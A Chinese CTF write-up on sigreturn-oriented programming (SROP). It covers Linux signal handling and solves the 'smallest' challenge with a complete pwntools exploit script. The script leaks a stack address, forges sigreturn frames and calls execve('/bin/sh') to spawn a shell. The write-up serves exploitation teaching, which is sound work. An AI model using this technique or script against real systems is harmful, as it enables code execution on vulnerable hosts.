CTF-PWN-栈溢出-高级ROP-【SROP】

文章目录

  • linux信息处理
  • 2017 360春秋杯 smallest
  • 检查
  • 源码
  • 思路
    • 第一次要执行ret时的栈
    • 执行write函数时
    • 修改rsp到泄露的栈地址上去
  • 输入/bin/sh并sigreturn调用
  • 系统调用回忆
  • exp
    • 注意一个离离原上谱的地方

参考链接
SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。论文和PPT如下

  • 论文
  • PPT

linux信息处理

  1. 当中断或异常发送时,内核会发出一个信号给相关进程
  2. 此时系统切换到内核态,内核会执行setup_fram()函数来设置用户栈,setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址。
  3. 接着执行hand_signal函数,该函数会跳转到用户态执行signal handler函数
  4. 在用户态执行signal handler函数后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。

关于sigreturn的系统调用

/*x86架构*/mov eax,0x77int 80h
/*x86_64架构*/mov rax,0xfsyscall

2017 360春秋杯 smallest

检查

静态链接64位文件
在这里插入图片描述

源码

程序反汇编拖入IDA后全部就图中这些
在这里插入图片描述

思路

溢出想构造ROP链的话,没有动态链接库,本身程序gadget少得可怜,gadget不足,想ret2syscall的话,syscall的参数rax得是59,rdi得是/bin/sh的地址,rsi和rdx得为零,
但相关pop的gadget都没有,所以想通过rop系统调用不行,此时可以利用SROP,因为sigreturn系统调用会执行一系列pop的指令,这样就有机会构造execve的相关参数了

  1. 首先是rax这个比较好设置,设置成execve对应的调用号即可
  2. 其次是rdi这个得是/bin/sh的地址,/binsh找不到,只能输入到栈上3再得到其在栈上的地址
  3. 接着是rsi和rdx。这个也比较好设置,都为0就行

那如何输入并得到/bin/sh的地址呢?
首先得能够得到输入部分栈的起始地址,然后再次输入时可输入/bin/sh,然后可以进行调用系统调用execve

  1. 首先得到write函数能够输出栈基地址
    write函数对应的系统调用需要rax为1,rdi为1,rsi为栈的基地址,rdx大于8,rax唯一可修改的方式为read函数执行后会将输入的长度存到rax,此时输入一个字节,并且返回地址可从0x4000B3开始,那么,将导致可以进行write函数输出栈的基地址。那么得提前布置好第返回地址,等到第二次执行read时可以输入一个字节,并且修改返回地址一个字节后正好是0x4000b3,
  2. 此时write函数将rsp对应值输出,由于此时只能输出,返回地址还得在第一次输入就得布置好。由于此时得到了rsp值,此时可以设置为输入函数,输入对应sigframe,同时输入了返回地址为系统调用得返回地址,由于此时长度要调用到sigreturn函数得话,read输入的长度必须等于15,所以得等两次输入才行,所以一次输入sigfram和/bin/sh,返回地址为继续输入的地址,等下次输入时可只输入系统调用的地址和另外七个不影响sigfram变化的字节。然后将会先调用sigreturn然后调用execve函数

第一次要执行ret时的栈

发现存在栈上内容为栈上的地址,可泄露栈上地址,然后将rsp修改为泄露的栈位置
在这里插入图片描述

执行write函数时

第一次输入两个0x4000b0地址,,第二次输入一个字节,并将返回地址修改为0x4000b3
在这里插入图片描述

修改rsp到泄露的栈地址上去

constants.SYS_read是常量read的系统调用号
write函数后此时程序还可以输入一次,这次输入先修改返回地址为0x4000b0,使得可以再输入一次,同时输入好对应的留给的空余的下次输入的返回地址和sigfram

然后再次输入时修改返回地址为系统调用的地址,同时字节数为15,使得可以系统调用sigreturn,然后修改对应寄存器。

此时rip为系统调用地址,rsp为泄露的栈地址,对应其他参数为输入函数对应的参数

sigreturn调用完后执行rip对应的输入函数
在这里插入图片描述

输入/bin/sh并sigreturn调用

最后输入/bin/sh并构造sigfram,同时修改返回地址为输入函数
然后再输入系统调用地址和7个空字节,此时会进行sigreturn调用。调用完后rip指向系统调用,此时rax为execve的调用号,则getshell

系统调用回忆

系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

int execve(const char *filename, char *const argv[], char *const envp[]);

filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。

!!system函数不是系统调用

exp

注意一个离离原上谱的地方

python的SigreturnFrame()函数即对应之前往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同)

fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b'a' *8+bytes(fram)

这里bytes(fram)
fram里给各个寄存器赋值的地方不能赋值字节
花了大把时间才找到这个bug

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./srop")
srop = ELF('./srop')
#gdb.attach(s,"b main")
read_ret=0x00000000004000B0
sys_ret=0x00000000004000BE
payload=p64(read_ret)*3 
s.send(payload)#sleep(3)
s.send("\xb3") # 修改返回地址为0x4000b3stack_addr=u64(s.recv()[8:16])
print("泄露的栈地址",hex(stack_addr))fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
s.send(payload)
#sleep(3)payload=p64(sys_ret)+b"\x00"*7 # rax被设置为15,ret执行系统调用sigreturn,同时空字节也没有修改sigreturnframe的结构
# 由于系统调用改变rip和rsp,执行输入函数
s.send(payload)print("fram的长度",len(fram))fram=SigreturnFrame()
fram.rax=constants.SYS_execve
fram.rdi=stack_addr+270
fram.rsi=0
fram.rdx=0
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
payload=payload+(270-len(payload))*b"\x00"+b"/bin/sh\x00"s.send(payload)
payload=p64(sys_ret)+b"\x00"*7
s.send(payload)s.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/597391.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

简单多状态dp问题(打家劫舍Ⅱ)

通过分类谈论,将环形的问题,转化成两个线性的 “ 打家劫舍Ⅰ ” 1.状态表示 2.状态转移方程 3.初始化 f[ 0 ] nums[ 0 ] g[ 0 ] 0 4.填表顺序 从左往右填表,两个表一块填 5.返回值 max( f[ n-1 ] , g [ n - 1 ] )

【Bug】Android BottomNavigationView 图标黑色色块问题

最近在研究Android Jetpack组件,在使用Navigation配合底部导航栏时,发现一个奇怪的问题,如下: 说明:图标来源于Iconfont开源图标库 我的第三个图标变成了一个黑色色块,这个问题前两天我遇见过&#xff0c…

.NetCore部署微服务(一)

目录 前言 什么是微服务 微服务的优势 微服务的原则 创建项目 在Docker中运行服务 客户端调用 简单的集群服务 前言 写这篇文章旨在用最简单的代码阐述一下微服务 什么是微服务 微服务描述了从单独可部署的服务构建分布式应用程序的体系结构流程,同时这些…

C# 使用Microsoft消息队列(MSMQ)

写在前面 Microsoft Message Queuing (MSMQ) 是在多个不同的应用之间实现相互通信的一种异步传输模式,相互通信的应用可以分布于同一台机器上,也可以分布于相连的网络空间中的任一位置。 使用消息队列可以实现异步通讯,无需关心接收端是否在…

海康威视摄像头+服务器+录像机配置校园围墙安全侦测区域入侵侦测+越界侦测.docx

一、适用场景 1、校园内,防止课外时间翻越围墙到校外、从校外翻越围墙到校内; 2、通过服务器摄像头的侦测功能及时抓图保存,为不安全因素提供数字化依据; 3、网络录像机保存监控视频,服务器保存抓拍到的入侵与越界&am…

UI自动化Selenium iframe切换多层嵌套

IFRAME是HTML标签,作用是文档中的文档,或者浮动的框架(FRAME)。iframe元素会创建包含另外一个文档的内联框架(即行内框架)。 简单来说,就像房子内的一个个房间一样;你要去房间里拿东西,就得先开门; 如上图…

出现 No such instance field: ‘XXXX‘ 的解决方法

目录 1. 问题所示2. 原理分析3. 解决方法1. 问题所示 作为一个全栈的开发玩家,需要调试前后端的数据传输,方便发现问题所在! 在debug整个项目的时候,检查传输数据的时候,发现前端可以传输,但是后端一直拿不到 出现如下问题:No such instance field: parentModel 截图…

UI5与后端的文件交互(四)

文章目录 前言一、后端开发1. 新建管理模板表格2. 新建Function,动态创建文档 二、修改UI5项目1.Table里添加下载证明列2. 实现onClickDown事件 三、测试四、附 前言 这系列文章详细记录在Fiori应用中如何在前端和后端之间使用文件进行交互。 这篇的主要内容有&…

Leetcode的AC指南 —— 字符串/卡码网:55. 右旋字符串

摘要: Leetcode的AC指南 —— 字符串/卡码网:55. 右旋字符串。题目介绍:字符串的右旋转操作是把字符串尾部的若干个字符转移到字符串的前面。给定一个字符串 s 和一个正整数 k,请编写一个函数,将字符串中的后面 k 个字…

灸哥问答:数据结构对软件开发的作用

在软件开发的浩瀚海洋中,数据结构如同一座坚固的灯塔,为开发者指明方向,确保他们在构建复杂系统时不会迷失。数据结构不仅仅是编程的基础,更是高效、稳定、可扩展软件的核心。 一、提升算法效率 数据结构与算法紧密相连&#xf…

antd——a-date-picker——日期的限制功能——js基础积累

antd——a-date-picker——日期的限制功能——js基础积累 禁用日期一、限制只能选明天及之后的日期(今天不可选中)二、限制只能选今天及之后的日期(今天可选中)三、限制只能选昨天及之前的日期(今天不可选中&#xff0…

Java业务功能并发问题处理

业务场景: 笔者负责的功能需要调用其他系统的进行审批,而接口的调用过程耗时有点长(可能长达10秒),一个订单能被多个人提交审批,当订单已提交后会更改为审批中,不能再次审批(下游系…

05-微服务-RabbitMQ-概述

RabbitMQ 1.初识MQ 1.1.同步和异步通讯 微服务间通讯有同步和异步两种方式: 同步通讯:就像打电话,需要实时响应。 异步通讯:就像发邮件,不需要马上回复。 两种方式各有优劣,打电话可以立即得到响应&am…

canvas设置文字阴影

查看专栏目录 canvas示例教程100专栏,提供canvas的基础知识,高级动画,相关应用扩展等信息。canvas作为html的一部分,是图像图标地图可视化的一个重要的基础,学好了canvas,在其他的一些应用上将会起到非常重…

MySQL之CRUD、常见函数及union查询

目录 一. CRUD 1.1 什么是crud 1.2 SELECT(查询) 1.3 INSERT(新增) 1.4 UPDATE(修改) 1.5 DELETE(删除) 二. 函数 2.1 常见函数 2.2 流程控制函数 2.3 聚合函数 三. union与union all 3.1 union 3.2 union all 3.3 具体不同 3.4 结论 四. 思维导图 一. CRUD 1.1 什么是crud…

【愚公系列】2023年12月 HarmonyOS应用开发者高级认证(完美答案)

🏆 作者简介,愚公搬代码 🏆《头衔》:华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主&#xf…

6. Mybatis 缓存

6. Mybatis 缓存 MyBatis 包含一个非常强大的查询缓存特性,它可以非常方便地配置和定制。缓存可以极大的提升查询效率MyBatis系统中默认定义了两级缓存 一级缓存二级缓存 默认情况下,只有一级缓存(SqlSession级别的缓存,也称为本地缓存&…

Transforer逐模块讲解

本文将按照transformer的结构图依次对各个模块进行讲解: 可以看一下模型的大致结构:主要有encode和decode两大部分组成,数据经过词embedding以及位置embedding得到encode的时输入数据 输入部分 embedding就是从原始数据中提取出单词或位置&…

ubuntu22.04配置双网卡绑定提升带宽

这里写自定义目录标题 Bonding简介配置验证参考链接 Bonding简介 bonding(绑定)是一种linux系统下的网卡绑定技术,可以把服务器上n个物理网卡在系统内部抽象(绑定)成一个逻辑上的网卡,能够提升网络吞吐量、实现网络冗余、负载均衡等功能,有很…

2023年工作初体验

23年终于正式入职,参与了正式上线的电商平台、crm平台等项目的研发,公司规模较小,气氛融洽,没有任何勾心斗角、末位淘汰,几乎没什么压力。虽然是我的第一家公司,但实际是个适合养老的公司(笑 总…